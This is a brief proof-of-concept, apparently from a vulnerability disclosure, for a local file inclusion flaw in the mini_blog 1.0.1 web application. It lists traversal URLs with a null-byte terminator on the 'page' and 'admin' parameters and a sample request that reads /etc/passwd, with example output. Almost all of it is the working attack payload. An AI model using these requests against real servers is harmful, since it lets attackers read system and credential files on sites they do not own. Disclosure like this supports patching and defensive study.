Proof of Concept

	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../[local_file]%00
	http://[host]/[mini_blog_1.0.1_path]/index.php?admin=../../../../[local_file]%00
	
	for example request :
	
	http://[host]/[mini_blog_1.0.1_path]/index.php?page=../../../../../etc/passwd%00
	
	...might give result like this :

	root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon...
